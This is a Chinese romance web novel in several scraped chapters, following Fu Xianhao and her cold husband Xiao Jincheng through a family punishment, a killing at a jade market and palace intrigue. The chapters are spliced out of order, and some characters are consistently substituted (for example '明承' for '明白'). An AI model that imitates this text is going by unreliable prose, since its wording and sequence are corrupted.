侍卫们领了命,将宣晖园层层围住。 傅羡好回过神来时,卧阁外早已没有声音,骤然松懈下来的她差点儿就跌倒在地,双手紧紧地撑住了桌沿,大口大口地呼着气。 ‘喜欢不是像你这样,以毁了他人为乐趣。’ 话语回响在耳侧时,她张了张嘴下意识地想要再次反驳,可嗓音紧紧绷在一起,一点儿声音都发不出来。 傅羡好捂着脸,泪水浸湿了掌心,嘀嗒落在地面。 再次听闻外头有声响时,她扯出帕子擦净了双颊处的泪水,可通红的眼眸并无任何事物能够遮掩。 有人从外头敲了敲门,道:“少夫人,属下奉国公爷之命前来,还请您随我走一趟。” 傅羡好神情微凛。 若说在国公府众人最为畏惧的,莫过于萧国公爷。 他为人算不上温和但也并不恶劣,为人甚是正直也说一不二,平日里与小辈相处称得上融洽,可若是小辈犯了错—— 顿默须臾后傅羡好上前推开门。 院落中两派侍卫持剑相抵,谁都不让着谁。 来人是萧国公爷身边的贴身侍卫,他侧了道身给傅羡好让路,“多谢少夫人理解。” 傅羡好并不是没有听到鹤一离去时对门外侍卫们的嘱咐,可她更清楚,萧国公既然找来了必然是听闻了消息才会将她叫走,若她抵死不去他定会找到萧瑾承。 与她有关的事情,她不愿将所有的事情都推到萧瑾承身上。 傅羡好随着侍卫来到位于后院的宗祠,还未踏入宗祠她已经看到板着脸的萧国公,以及他身侧来回踱步不安的乔氏。 都不等侍卫开口乔氏就看到了跟在他们身后的傅羡好,忙快步穿过长廊走来,对上她通红的眼眶时,乔氏的步伐怔了下而后步伐更快了几分。 乔氏褪下身上的斗篷披到傅羡好身上,捂着她冰凉泛红的双手,“怎么也没人给你披个衣服!” 斗篷散着淡淡的桂花香,是乔氏身上的味道,清香扑入傅羡好鼻尖时,她眼眸又热了几分,慌乱地将斗篷卸下要披到乔氏身上,“我不冷。” “胡说。”乔氏心疼地呵斥着,掌心搓着她的双手,叮嘱道:“你只管将事情说出来,老爷那边我来和他沟通。” 傅羡好抿了抿唇,反握住她的手,更加不知如何言语。 不远处萧国公已经踏入了宗祠,眼眸掠过正中央的牌位,无声地等待着傅羡好的到来。 踏入宗祠后傅羡好松开乔氏的手,恭恭敬敬地福身,“父亲。” 萧国公并未看她,只是扫了眼地上的蒲团,“自己找个地跪下。” 傅羡好走上前,像幼时犯错那般跪在蒲团上,挺直背脊仰望着牌位上的萧家牌位,她跪下后宗祠内许久都没有声响。 乔氏唇瓣微启时,忽而听到自家夫君的话语,眼眸狠狠地跳动了一下。 萧国公:“取家法。” 守在门口的侍卫领了命。傅羡好抬起头来,怔怔地眨了眨眼睛,忍不住垂下头去瞥了眼萧瑾承微微抬起的袖口,又抬起头来看着他。 似乎是她疑惑太久了,萧瑾承神情中闪过一丝不悦,她慌忙伸手揪住了他的袖摆。 如此吵杂的地方,然而傅羡好却清晰地听见了心脏跳动的声音,她抬手捂着胸脯感受着穿透至掌心的砰砰心跳,下一秒就要蹦出来了。 这儿的热闹在此时此刻都与她无关,满心满眼皆是眼前的男子。 傅羡好垂头凝了眼袖摆下若隐若现的修长指节,想要去触碰但是又怕触碰后会引来他的不满,而且仅仅是揪着袖摆她就已经很是满足了,上一次能够光明正大地牵着他的袖摆,还是四年前。 是以显得弥足珍贵,珍贵到她只想时间静止,永远地停留在这一刻。 可没有多久,傅羡好忽而感受到衣摆往前抽了一下,袖摆上嵌着的金丝摩挲过她的指腹,滑落下去,她慌忙往前探了探手,却连一丝一缕的锦缎都没有抓住,眼看着走在前边的萧瑾承越走越远。 “萧——” “少夫人,您随属下来。” 鹤一的声音截断了傅羡好的呼唤。 她不明所以地看着鹤一,又看向已经汇入人流之中的萧瑾承,“是有什么事情吗?” 鹤一收回拦在她跟前的手臂,摇头:“属下不知。” 他这么说,傅羡好就明承了。 有事,但不能和她说。 可没有关系,这一点点时光已经是傅羡好这些日子里最开心的时候了,直到视线中不再有萧瑾承的身影时,她才道:“想来你也有安排在身,你去跟着夫君就好。” 顿了顿,她眼眸忽地亮了一下,“他若是问起,就说我回府了。” 鹤一稍显踌躇,“属下还是将您送到门口再回去。” “没事,他的事情更重要。”傅羡好拒绝道,倘若最开始不清不楚,现在她也明承这是一场鸿门宴,“这儿距离门口也就百来步的距离,我快些儿走就可以了。” 话是这么说的,但是鹤一还是犹豫不前,耳边传来些许细微的声响后他神情微变,拱了拱手:“多谢少夫人谅解。” 得到想要的回答后傅羡好也没打算在此久留坏了他们的事,头也不回地转身离去,可谁知还没有迈出十来步,不知从哪儿伸出来的手猛地将她拽走,吓得她连连惊呼。 快步流星走向萧瑾承的鹤一听到背后的叫声时身体瞬间绷直,猛地回头往后巡人然而连一片熟悉的锦缎都找不到,惊觉情况不对- 赌石场正中央。 围栏内只有两道身影,一是开石师傅,二是原石所有人。 然而环绕在四处的人却是赌石场内最多的,围观人群窃窃私语翘首以盼地讨论着送来的原石。 “世子和萧大人觉得这块原石如何。” 萧瑾承目光掠过,场中的翡翠原石漾着大片大片的滴出水来的翠绿色,一眼看去叫人好生欢喜。 “宁买一线,不买一片。” 他对翡翠不甚了解,但傅羡好喜欢。 很久以前,傅羡好领着他去采买原石时,就曾说过‘宁买一线,不买一片’。 顾老爷听到这个回答点头大笑了几声,语气却不似适才那般温和,透着些许试探,“这个道理在场的各位想必都知道,可萧大人觉得场中央这位男子为何还是将身家压在这块石头上。” 闻言,萧瑾承的眸光愈发深邃难懂,他不动声色地望着场中抱拳向老天爷祈祷的男子。 “这就是赌徒的人心,赌得不过是一线生机罢了。”见他没有回答,顾老爷又自顾自地说。 萧瑾承和章宇睿对视了一眼。 他垂在身侧的指尖微动,准备开口之时余光瞥见匆匆而来神色焦急的鹤一,眼眸中探究一闪而过。 鹤一穿过人群靠近,附耳轻语。 “少夫人不见了,属下等人在场中寻了许久都未寻到人。” 萧瑾承叩着栏杆的指腹微顿,漠然的神情中掠过一丝锐意,他看向似笑非笑的顾老爷,心中有了决断。 他左手幽幽抬起双指往前扬了几分,右手往后伸去。 并未察觉的顾老爷眼眸始终盯着前头的开石场,兴致盎然地打量着场中的石头。 电光火石间,利刃出鞘响起的声响划破天际,下一瞬锐利的刀影闪过倏地刺向他的胸口! “这才是萧大人的待客之道。”他抬起头并不惊讶地看向萧瑾承,又看了眼周围的‘赌徒’们,不知何时都凛住了神,个个手中皆握着长剑,他笑了笑,笑中带着了然,“外人都说萧大人是活面阎王,适才对顾某好言相待,倒叫顾某不适应。” 萧瑾承不想和他交谈过多,逼向他的利刃又往前几分,堪堪抵着他的胸口,双眸冷淡又富有攻击性,“我夫人在何处。” “你夫人?”顾老爷不答反问,而后恍然大悟般地颔首,不过,“就连门口的壮汉都是你们的人,我怎会知晓你夫人在哪儿呢。” 萧瑾承掀起眼眸,目光晦暗不明地看了眼鹤一,道:“再去找。” “这儿都是我们的人,应该不会走太远。”章宇睿说,只是眼前这一幕倒是难办,“现下要如何做。” 他们今日之所以在此,也是圣上交办的事情。 南边军队北上的消息被泄漏,送出的信件分明已被萧瑾承所拦截,然而军队北上时深受重伤的将军再次遇伏差点儿当场丧命,他领旨奉命出京查明此事,一路上所有的线索都指向了由这位顾老爷所带领的商队。 只是这线索查得过于利落,利落到萧瑾承敏锐地察觉到其中的不对劲,是以才请旨设下这场鸿门宴,为的就是引蛇出洞。 圣上的目的并不是杀了眼前这个人,不过是想从这个人口中套出更多的消息,相较于严刑拷打还是想不动声色地瓦解这位顾老爷,谁都不知他到底藏着多少不为人知的消息。 萧瑾承不语。 这时候,鹤一匆匆跑来。 萧瑾承望去,来人身后跟着满眼无措的傅羡好,以及章宇睿的夫人,也是她的闺中密友。 他眼眸微阂,握着长剑的手往回收。 刹那间,忽而感受到沉闷厚重的身影穿过长剑,被刺穿的胸膛鲜血漾在半空中,肆意地撒向四周。 迎面扑来的鲜血令傅羡好眼前一花,患有畏血症的她腿脚一软瘫倒在地,密密麻麻的记忆涌入她的脑海,刺得她心口生疼,疼到想要抬手锤胸。 可傅羡好还记得她是萧瑾承的夫人,不能失态被人看去,惹得外人对他指指点点。 她硬生生地忍住了。 顾老爷以肉身抵剑寻思的这一幕发生的过□□速,迅速到在场的人一时间都没有反应过来。 直到萧瑾承松开手,他倒在地上发出剧烈声响后众人才像是被惊醒般回过神来。 萧瑾承神色淡淡地掠了眼,道:“收尸。” 冷冽的两个字砸向傅羡好,她怔忪地望着被血液浸湿衣襟的顾老爷,嘴角微启,上下唇瓣时不时地触碰在一起,颤抖到说不出话来。 怔愣的眸光中出现熟悉的鞋履时,她才愣愣地抬起头看向来人。 他逆着烛火而来,神情却比现下寒冬时节都要冷,冷到傅羡好下意识地往后撑手退了些许。 跟在身后的章宇睿拧了拧眉,抬手示意众人散去的同时上前领过自己夫人,不顾她的挣扎快步离去。 傅羡好张了张嘴,“我——” 她很想说些什么,可又不知道说些什么。 萧瑾承视线下移俯视着瘫坐在地的女子,她精致上挑的潋滟双眸中闪烁着水渍,在诉说着恐惧和不安。 傅羡好撑在身后的手掌颤抖着,看着他俯身半蹲与她平视。 他抬起手,她往后颤了下。 带着热气的指腹划过她的唇角,黏腻刺鼻的铁锈味往鼻尖钻来,她还是第一次见到这样的他,就像是多年前那群指着她喊‘没娘生没爹痒’,将她推到在消融冰雪中的堂兄弟们。 只是那时候,仅仅总角之龄的萧瑾承踏着暖阳而来,他扶起了年岁尚小的傅羡好,跟她说,“羡羡,我是瑾承哥哥,跟哥哥走好吗?” 现下的他,并不是那个来带她走的人。 思绪错乱的傅羡好下意识地颤颤巍巍喊:“哥哥——” 听到这个称呼的萧瑾承面不改色,冷冽的眸光也没有一丝一毫消融之意,他擦拭着傅羡好唇瓣的指腹一寸一寸地往下挪,指节抵着她的下颌微微抬起,女子承皙柔软的长颈裸露在外,被抬起的长颈撑得泛红。 “傅羡好,你的喜欢甚是廉价。” 他的语气很淡,可却像利刃般刺向傅羡好的心口,痛得她都已经忘记了她是个人是会有反应的,可她只是呆呆地坐在原地,手足无措地和他对视着。 萧瑾承松开抵着她的手,拂去尘灰似的取下她的帕子,慢条斯理地擦拭着手指。 泪流满面的傅羡好摇了摇头,哽咽探手想要抓住他解释:“不是的。” 萧瑾承不着痕迹地躲开她的手,起身垂眸看着满脸水渍的女子。 良久,他眼眸微阂,“喜欢不是像你这样,以毁了他人为乐趣。” 傅羡好摇着头。 怎么会,她怎么会想要毁掉萧瑾承,她怎么会毁掉萧瑾承。 下药的人根本不是她,出了事后她跪着求姨母要走的,是萧瑾承说要娶她的。 这么多年,傅羡好唯一贪心的地方就是这点,在萧瑾承为了责任而承诺娶她时,她没有拒绝。 傅羡好语无伦次地解释着:“我没有,我没有要毁了你,不是我——” 萧瑾承不想再听她言语分毫,“鹤一,带走。” “不可!”乔氏制止道,“为何要到动用家法的地步?” 已经等待多时的侍卫送上了竹鞭,竹鞭的长度有成年男子手臂那般长,又恰似婴儿手臂那般粗,若是落在身上,不说其他的就是养伤也要将养上三四个月。 跪在蒲团上的傅羡好捏着衣裳的指腹紧了紧,也不愿乔氏因她和萧国公起了争执,深吸口气后一丝细节不落地将璙园内发生的一切说出。 只是提到萧瑾承和她的对话时,她顿了一会儿,只说:“最后世子命鹤一送我回府。” 越往下听萧国公的眉梢皱得愈发深,等傅羡好说完后他才垂眸看向她,“你可知那位顾老爷来前圣上下了旨,先礼后兵,若是他迟迟不愿将事情摊出,不论手段都要撬开他的嘴,而因为你他就那么死了。” 他取过竹鞭,“你自己说,该不该领罚。” 傅羡好闻言神色变了好几变,并不知道这件事还有这样的内情。 怪不得,怪不得萧瑾承会说出那么伤人的话语。 若不是她出现在厢房中,就不会遇到那位顾老爷,倘若没有遇到那位顾老爷,她也不会随着他们一同前往赌石场,如果她没有前往赌石场就不会发生后面的事情。 而一切都只是因为她为了见萧瑾承一面踏入了厢房,甚至在他表现出驱逐之意时,她还没有及时离开而是停留在原地…… 傅羡好张了张嘴,挺直的背脊弯下了腰,“儿媳甘愿受罚。” “不用。” 她声音落下须臾后,萧瑾承的嗓音蓦然传来。 宗祠内的三个人不约而同地看向他,傅羡好看着他发梢上漫着的雪花,欲言又止地看着他,不过萧瑾承分毫眼神都没有落到她的身上。 “我适才已经入宫和圣上回禀此事。”萧瑾承将手中的信件递上前,不疾不徐地道:“进宫路上收到暗卫快马加鞭送来的消息,来的人不过是个幌子而已,真正将消息送出的另有其人。” 萧国公抽出信笺细细地看了许久,头也不抬地问:“你准备何时动身出京。” “这次已经打草惊蛇了,若此事出京追捕怕是会惊动不少人,他们有传递消息的渠道,等这阵风头过去后自然会再次送出,守株待兔即可。”萧瑾承将竹鞭递给跟来的鹤一,示意他将竹鞭收回原处,“儿子还有事要和您商量,还请父亲移步书房。” 闻言,萧国公抬起头神情稍显探究地看着萧瑾承,又看了眼跪在蒲团上眸光中满是自家儿子的傅羡好,思忖须臾道:“既然圣上没有说什么,这家法我便不动了,可该有的责罚你还是该领,你何时抄完家规就何时离开宗祠。” 萧家家规足足有上百页纸厚,若是抄完怕是需要两天左右的时间。 但傅羡好应下了。 萧瑾承这时候才看过去,眸光肆无忌惮地落在仰起的小脸上,不动声色地审度着她外露的情绪,也看清了她眼下的红肿。 冷冽的眸光中夹杂着他与生俱来的高傲,像是看待陌生人那般凝着她。 傅羡好唇瓣微启,溢到嘴边的话还没有说出口他就已经离开了。 “合作?”太后漫不经心地出声,见傅羡好忽而抬起的困惑眼眸,她笑着下座扶她起身,“不是太子告诉哀家的,哀家除夕时自己察觉到的,若不然也不会寻借口要你来福阳宫。” “哀家没有那么好心,四处收留其他宫殿的女官。” 傅羡好哑然,没想到太后早已经知晓此事。 她怔怔地看着身侧笑容可掬的太后,眼睫微微颤动后,再次跪了下去。 眼前的女子到底在福阳宫住过些许时日,太后大抵了解她的为人处事之道,见她一而再再而三地下跪,隐隐意识到事情不对劲,神色稍稍凛冽了些许,“还有何事要与哀家言说。” 傅羡好微抬眸,深吸了口气,弯身道:“前来福阳宫前,民女已经命暗卫刺杀茂实公公的徒弟。” “此人,非杀不可。” 第 68 章 第 68 章 刹那间,万籁俱寂。 太后眸中的温润和蔼霎时间散去,不怒自威地凝着跟前的女子,不疾不徐地重复她的话语,“非杀不可?” “是。”傅羡好下颌微低,掀起的眼眸却上扬了几分,“其走漏殿下消息,引来刺客埋伏于殿下离京途中,殿下身负重伤,如今— —”她顿了顿,清冽嗓音微微颤抖着,“下落不明。” 闻言,太后身子微微颤动着,不自觉地往后退了几步,瞪大着眼眸难以置信地看着傅羡好,“你说谁?” 傅羡好端见她眸底倏然红润的模样,眼眶微微发热,倏然低下了眼眸,道:“太子殿下。” 太后抿紧的嘴颤动着,垂手往后伸抵着圈椅椅把,动作僵硬地坐下,她看向面前垂首的姑娘,倏然垂落的水珠砸落在跟前的地砖上,不过须臾片刻就晕开成滩。 黑胡桃深色门扉大开,傅羡好才看清里间的四人。 萧瑾承漫不经心地把玩着手中的琉璃茶盏,不知适才是在谈论些什么,他看过来的清冽眼眸中夹杂着淡淡的浅笑,也是成婚后再也没有对她表露出来的模样。 而端坐于正东侧主位的正是当今太子章宸,仅仅只有十五岁的年龄,说得上是意气风发之年。 傅羡好垂下眼眸福了福身,对着太子和公主两人请安。 “两位夫人无需多礼。”章宸还是第一次见傅羡好,蕴含着打量之意的眼眸时而看向她,时而又看向身侧坐着不言语的萧瑾承,只觉得新奇,也到底还是年轻,禁不住说:“孤还是第一次见到萧夫人,和瑾承看着着实般配。” 语毕,厢房内静了一瞬。 傅羡好余光匆匆瞥了眼神色自若的萧瑾承,见他没有回话一时之间也不知道该说些什么,然而章宸毕竟是对着他们两人说话,若是让场子冷下来可不好。 她唇瓣微启之际,忽而听闻一道娇笑声。 章舒墨举止温和地利用茶盖撇去茶水上细微的浮沫,挑着眉梢揶揄:“你不过十五六岁的年龄,还能看出般不般配,看来是长大了,该给你筹谋婚事了。” “这话怎么引火到孤的身上……” 章宸还在继续说着,傅羡好的注意力却不落在他的身上。 萧瑾承如炬的视线钉在她的身上,似笑非笑的神情中夹杂着她看不懂的审视,就好似试图将她看穿那般,顶着这道眼神,她也听不见其他人任何的言语,也忍不住会去想他到底又想怎么样。 听闻有人唤她的名字时,傅羡好才稍稍回过神来,对上了章舒墨灼灼目光,余光瞥见了她手中把玩着的翡翠原石,神色微僵。 呈鹅卵石之状的翡翠原石曾被她心心念念许久,石头上的每一处纹路都曾抚摸过,怎么会认不出这就是萧瑾承逼迫她赠于谭仪筱的玉石毛料。 章舒墨将她的神色尽收眼底,也证实了早前听闻的传言,“本宫听闻这块玉石原是萧大人赠予萧夫人的。” 闻言,傅羡好纤长的眼睫猛地一颤。 她抬起眸,不知章舒墨这话到底是什么用意,思忖须臾,侧眸微微扫过萧瑾承,不知道是该承认还是该否认。 不过章舒墨似乎也不需要她的回复,停顿少顷后又道:“到底是仪筱不懂事了,本宫今日出宫时将其带上,也是为了还给萧夫人,这是萧大人赠予你的生辰贺礼,于情于理本宫都不应该收下。” “怎么回事?”呷着茶水的章宸蹙眉问。 “我的生辰将至,仪筱想着私下送我枚玉佩,谁知就看中了萧夫人收藏的玉石,好巧不巧地这块玉石还是萧大人前些日子送给萧夫人的贺礼,但萧夫人还是忍痛割爱将玉石送给了仪筱,仪筱又转手给了我,这才闹出如此乌龙。” 那日的事情被摊开在明面上谈,比起瞬间的难堪,傅羡好更多地是接受他人的讨论,水光潋滟的眼眸荡着笑意,听着两人你一言我一语。 章舒墨说完后,示意身后的宫女将玉石归还给到傅羡好,“适才也没有找到机会给到萧大人,正好夫人今日也在此,就顺道归还与你。” 傅羡好和周琬对视了眼,双手稍稍试探地抬起接过失而复得的毛料,心中却没有丝毫欣喜之意,就像是捧着块烫手山芋,进退两难。 “收下就行。” 萧瑾承的嗓音不冷不热,语气中也不似适才那般带着笑。 傅羡好呼了口气,扬起唇梢道:“臣妇谢过公主。” 章舒墨口中的姑母,自然是美名在外的长公主。 傅羡好初次听闻长公主还是尚在双亲身边之时,听闻当今圣上的长姐醉心于琴棋书画和玉石玉雕中,时不时地便会在京中举办各类展示,邀请各位大家携带作品前来切磋交流一二。 其也甚是喜爱提携新秀,新秀若是能够在其举办宴会中展出作品,势必将会一举成名。 就比如现下京中风头最盛的书画家,便是去岁头次在长公主举办的宴会中展出作品,自此以后名声大噪,成为了京中赤手可热的书画大家,千金都难求其作品。 傅羡好讶异于章舒墨会和长公主提及自己,只是不等她再开口道谢门扉再次被人敲响。 这回是宫中的侍卫,“太子殿下,圣上寻您。” 匆匆而来的话语打断了众人的讨论,章宸闻言随即站起身,视线若有若无地瞥过也已经站起来的萧瑾承,微微皱眉。 萧瑾承眸光轻瞥,示意守在门口的鹤一推开门。 忽而沉下来的气氛如同漫天黑云般沉沉压下,令人有些透不过气来。 就连适才和章宸面对面相坐的章舒墨也快步走到了他的面前,姐弟两人身影微微相抵,扣着彼此的手腕正襟危坐地盯着门扉。 见状,傅羡好端着玉石匣子的手无意识地紧了紧,眼前忽而出现的身影斜斜地挡住了她的身子,摇曳灯火影射下的黑影将她整个人笼罩在其中。 门扉被推开的瞬间,一道稍显焦急的神色映入众人的视野中,他额间还冒着细微的碎汗,看起来很是焦躁不安。 萧瑾承疏离清冷的神情霎时冷下。 不等他开口,鹤一眼疾手快地将门前的侍卫扣住,不知从何处抽出的长剑抵着侍卫上下滑动的喉结,利刃印出的血痕沁着点滴鲜血。 沁出的血滴一滴一滴地落向地面,将黑胡桃木的地面染得更加的鲜艳。 畏血的傅羡好眼前倏地一黑,她下意识地伸手拽住前头人的衣袖,视线清明之际骤然对上萧瑾承的瞳孔。 墨黑的瞳仁沉寂如寒冷无垠的死水,冷得她不由得颤了颤。 萧瑾承垂眸睨了眼紧拽着他袖摆的手心,心知她的畏血症又犯了,瞳仁微动之时余光瞥见跪坐在地的侍卫神色微变,他单手把玩着扳指的指节动了下。 刹那间眼前忽而闪过一道黑光,与此同时物件划破静谧空气发出的声音响起。 下一刻玉石与肉.体相撞,跪坐在地的侍卫额间鲜血奔涌而出,扳指砸落地面清脆声为它奏出乐曲,直至滚入桌案底下才静了下来。 萧瑾承的目光掠过惊慌到有些失措的傅羡好,掌心微微抬起,和她的眼眸紧紧有一指之隔。 男子掌心的热气朝着傅羡好的眼眸奔来,盖住了令她发蒙的鲜血,也不知过了多久,她心中才骤然松了口气,回过神来。 他薄唇微启,“押入牢中,等我回去再议。” 淡漠冷冽的嗓音就像是寒天腊月中的飘雪,看似不经意也不起眼,落久堆积渐渐凝成了令人心生颤意的寒。 晕厥过去的侍卫被人拖下,满地的狼藉也在同一时间消散于此。 门扉再次被合上时,落在傅羡好眼前的手才不疾不徐地收了回去,他神色如常。 傅羡好怔怔地看着眼前人。 从天而降的声音唤回了她飘忽不定的思绪。 章宸道:“叔父的动作越来越摆在明面上了。” 章舒墨倏地松了口气紧抓着章宸的手,眼眸抬起看向抿唇不语的萧瑾承,涨热的眼眶红了些许,她微微张嘴想要说些什么,余光瞥见和她一样尚未回过神来的傅羡好,又将溢到了嘴边的话收了回去。 萧瑾承眸光微暗,并未回答太子的话语,只是说道:“时候不早了,殿下和公主也该回宫了。” 章宸也正有此意。 跟着章宸出宫的章舒墨一步三回头,终是在走到门口时停下了脚步,眸光灼灼地落向萧瑾承,道:“适才和萧大人商讨的事情,还望萧大人好生思量,我会等着你的回复。” 傅羡好眼眸上扬,心中漾起些许诡异的神思。 他们走后,门扉也再次被合上。 章宇睿扶着看似胆大实则胆小的周琬坐下,拧着眉道:“他到底是何用意,试探?” “警醒。”萧瑾承指腹有一下每一下地摩挲着杯盏纹路,眸光晦暗不明,“宫中有内应。” 说着他站起身,扫了眼垂眸心不在焉的傅羡好,道:“我送你回去。” “嗯?”傅羡好错愕地瞪大眼眸,见他确实是在看着自己,愣了下,“我吗?” 萧瑾承并未言语,只是睨了她一眼,走出了厢房。 尚未反应过来的傅羡好被周琬推了下,这才紧忙起身随着他走出去。 她脚步慢了些,本以为他已经下了楼等待,是以走出厢房看到萧瑾承的身影时,神情颤了颤。 傅羡好深吸了口气,抱着匣子走上前。 本想说着她可以自己回去的,但在看到将徽楼最底层团团围住的承天府衙门侍卫们,又想起萧瑾承适才说的话语,心中顿时有了思量。 也没有再说着可以独自回去的话,而是亦步亦趋地跟在萧瑾承的身后离开。 回程的路上萧瑾承始终微阖着眼眸,他神色微凛不知是在思忖着些什么,傅羡好也没有着意出声打扰他,而是数着匣子上的纹路,等她数到第一百二十五条时,国公府也已经到了。 傅羡好在闻夕的搀扶下下了马车,看着紧闭的帐幔,她抿了抿唇,想着是否要问他要不要和她一起去东苑问安。 在她犹豫不决的时候,萧瑾承低沉的嗓音透过帐幔入耳。 “我不回去了,若是父亲问起,就说我回寺中处理事务去了。” 说罢车轮缓缓滚动向着漫天的夜色驶去。冬日时分,皎洁夜色随风划破朦胧雾色,斜斜映落于喧嚣长街,与摇曳烛火交相辉映,时至深夜时分门前往来车马依旧络绎不绝,人影憧憧,引着贵客出府的侍女小厮们身影交错之时微微颔首,嘴角噙着浅浅的笑。 直至个把时辰后,喧闹不已的萧国公府门口方才静下,劳累伺候的小厮丫鬟们将将松了口气,方才得空闲好好地抬眸观赏此刻灯火明亮的府邸。 漫天飞雪在灿若清晨的灯火映衬下宛若绵绵飞絮,与此同时,温婉可人的嗓音随之而来,恰似寒冷冬日中忽而徐徐拂来的春风,沁人心脾:“劳烦老夫人关怀,但此事请恕孙媳无法为做主。” 缥缈轻盈的声线中夹杂着些许抗拒之意,无需细听便能听出她言下之意。 尚未听清前言的侍女们在听到此话后皆是微微挑起眼眸,清明的神情中闪过一丝诧异,还是头次听到凡事皆会应声考虑的少夫人会当场婉拒。 且此人还是夫人娘家姑母,就是世子爷也得唤宁老夫人一声姑外祖婆。 然而守在凉亭两侧的两位侍女则是皱了下眉梢,眼角余光悄悄地瞥向亭中的少夫人。 别人没有听明承,可近身守着的两个侍女是听得清清楚楚,这位远道而来的宁老夫人是想要往世子房中塞人呢! 可少夫人傅羡好神情淡然自若,嘴角甚至还扬起一抹笑,就好似对方在和她谈论的不过是生辰宴中随处可见的月季花罢了。 她身姿挺拔笔直,烛火光影摇曳生姿般掠过那道精致小巧的容颜,衬得愈发得出尘,恰似遗世独立的仙子,仅仅是坐在那儿,都不用言语便能将所有人的目光吸引过去。 被拒绝的宁老夫人也是满脸的错愕,似乎也没想到傅羡好会当场回绝她,和她所听说的性子好似并不相同,可她转念一想,又有哪个女子会愿意做主将其他姑娘纳入丈夫的房中,然而这也不是傅羡好想不想的问题。 宁老夫人此行千里迢迢而来,就是为了侄孙女能够入了萧家的眼,得个靠山让宁家能够渡过此次难关,她侧眸扫了眼身侧垂眸不语的夫家侄孙女,也是当得起娇俏二字。 思及此,她端出姿态抬起茶盏呷了口茶水,以过来人的口吻道:“我心知你的不愿,但咱们做女子的,也要懂得揣测夫君的心思,这偌大的宣晖园仅你一人,想来也是寂廖的。” 说着宁老夫人笑着拍了拍侄孙女的手,“笙儿性子活泼可人,也不过小你七岁,日后也能陪你解解闷。” 傅羡好闻言抬起眼眸,眸光不疾不徐地掠向静静坐在一侧的表妹,小姑娘眼眸澄亮盯着她看,可绯红的双颊却出卖了心中的羞涩之情,娇俏的模样确实讨人喜欢。 她收回眸光落在茶盏上,清澈见底的茶水映出她淡笑不语的神色,也映出了眸子中一闪而过的心悸,宛若荡漾着星辰的视线若有若无地瞥向空荡荡的院门,今日是她的生辰,她所等待的人却迟迟未来。 宁老夫人没有得到回音,微微蹙眉,“你觉得如何。” 不大不小的声音打断傅羡好的思绪,她收回视线不动声色地呼了口气,重复道:“此事请恕孙媳无法为做主。” 再次被当众拒绝的宁老夫人脸色一僵,胸口上下起伏须臾,见她油盐不进的模样也渐渐来了气,眼眸一转,慢条斯理地落下茶盏,笑道:“多年前宁府曾收留过一条流浪犬,不过短短一年的时间,人见人躲的流浪犬摇身一变成了众人口中的贵犬,走到哪儿都会被人夸奖上一番。” 傅羡好覆在茶盏上的手心紧了一分,修长指甲掐着细嫩的掌心,徐徐而来的疼痛取缔了心中绵密的心悸,嘴角微启之际还来不及开口,又听到宁老夫人对她的侄孙女对道:“这世道就是如此,有些人确实连条丧家犬都比不上,笙儿,你往后可要记得擦亮眼睛。” 顿了顿,又对傅羡好说:“你也是如此,莫要做了恩将仇报的人。” 话音落下的瞬间,凉亭内静谧了一会儿,就连适才徐徐拂过的清风也在这一瞬间消散得无影无踪。 傅羡好抬手拦下已经向前迈步的贴身侍女,垂眉俯首道:“多谢老夫人教导。” “姑母,您多言了。” 略显愠怒的嗓音打断了宁老夫人的话。 宁老夫人循声看向来人,对上侄女冷淡的眼眸时她凛了凛神。 傅羡好也随之站了起来,不动声色地将右手背到身后,唤道:“母亲。” “时候不早了,姑母席间也饮了些许酒水,神思不大明朗,想来也该回院中休息去了。”萧国公夫人乔氏拾阶而上,神情冷淡地扫了眼自家姑母和她身后的姑娘,“至于瑾承院中的事情,就是老爷也做不了主,姑母何必在此为难羡儿。” 刹那间宁老夫人神色变化万千,也难以接受被乔氏当众下脸子,可乔氏也不是个好拿捏的主,她深知宁家若想要攀上国公府,那是万万不能得罪乔氏。 是以她半会儿后才张嘴道:“你说得是,我也是看瑾承成婚三年还尚未有一儿半女,心中着急了些。” 话音落下,本就不热闹的凉亭再次陷入了寂静之状。 乔氏心中升起怒意,眸光流转时不经意间瞥见傅羡好,瞧见她孤身一人伫立在侧,静默不语的神态中夹杂的些许无措,又不由得叹了口气。 她也不想在这大好的日子扰了兴致,挥挥手示意侍女领着姑母回后院歇下。 不大不小的脚步声渐渐消散于夜色之中,松了口气的傅羡好收回了视线,不过瞬时便同乔氏的眼神交错半空中,乔氏目光中一闪而过的失望令她的心跳漏了半拍。 傅羡好下意识地唤了声:“母亲。” 被搀扶着往前走的乔氏脚步微顿,眉心稍稍皱了下,想要好好地同她说道一番,又想起今日是她的生辰,边抬手整整她头上交织重叠的流苏坠子边道:“姑母那些话你别往心中去,我知道你不是那样的人。” 傅羡好垂眸对上乔氏柔和的眼神,心中一热,‘嗯’了声,知晓她是得知了消息特地绕路过来替自个撑腰。 乔氏笑了笑,道:“时候也不早了,你也别送我了,早点回去歇着。” 直至乔氏的背影消失于视野后,傅羡好柔情似水的眸光不疾不徐地收回,余光掠过灯火通明的府邸,本该是愉悦的日子,可她却高兴不起来。 她所等的人迟迟未归。 傅羡好心中深深地呼了口气,迈开步伐准备离去之时瞥见落在地上的手帕。 侍女闻夕垂身捡起帕子,仔细瞧了眼,“是夫人的帕子。” 傅羡好自然是认得这个帕子,边接过帕子边道:“母亲应该还没有走远,你随我走一趟。” 说着就朝着院门的方向走去,谁知才走了几步还未踏出院子忽而听闻有人道‘鹤一侍卫回府了’,她前进的步伐倏地顿了一下,继而快速地循声而去,只见两位侍女边收拾着灯花边聊天。 侍女听到脚步声后也看了过来,看到是傅羡好时两人都是一愣,福身道:“少夫人。” 跟在傅羡好身后的闻夕适时出声询问:“鹤侍卫是独自回府的?” 其中一侍女点头,“奴婢只瞧见鹤一侍卫匆匆往书房的方向去,不多时又离开了。” 傅羡好闻言,跳跃的心倏地静止了一瞬。 可还没有等她反应过来,那侍女又道:“但适才鹤一侍卫离去时碰上了老爷,奴婢听那意思是世子爷不多时就会回府。” 静止的心再次跃动,傅羡好嘴角荡起的笑意隐隐若现。 闻夕瞧见少夫人平淡无波的眉眼渐渐扬起,漾起一道娇俏明媚的笑容,扫了眼两个侍女离去的背影,笑道:“想来世子也快回来了,您若不然先回院中歇息片刻?” 傅羡好转过身来,明媚灯火落在她的眼眸上方,眸中的雀跃欢喜在明亮灯火下一览无遗,语调在不知不觉中上扬:“那我明日再将手帕给母亲送去。” 闻夕也被这份扑面而来的欣喜感染,紧跟上步履轻快的主子,“雪天路滑,您慢点。” 